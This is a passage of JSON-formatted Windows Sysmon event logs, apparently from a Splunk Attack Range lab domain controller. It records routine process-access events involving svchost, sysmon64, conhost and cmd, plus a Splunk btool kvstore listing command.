C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3339,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3340,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3341,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3342,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3343,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3344,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010BE210500}\r\nTargetProcessId: 4520\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010BE210500}","TargetProcessId":"4520","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3345,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.974\r\nProcessGuid: {90617006-407B-5F2D-0000-00107A220500}\r\nProcessId: 2844\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list kvstore --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010BE210500}\r\nParentProcessId: 4520\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.974","ProcessGuid":"{90617006-407B-5F2D-0000-00107A220500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list kvstore --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010BE210500}","ParentProcessId":"4520","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3346,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010BE210500}\r\nSourceProcessId: 4520\r\nSourceThreadId: 4500\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-00107A220500}\r\nTargetProcessId: 2844\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010BE210500}","SourceProcessId":"4520","SourceThreadId":"4500","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-00107A220500}","TargetProcessId":"2844","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3347,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 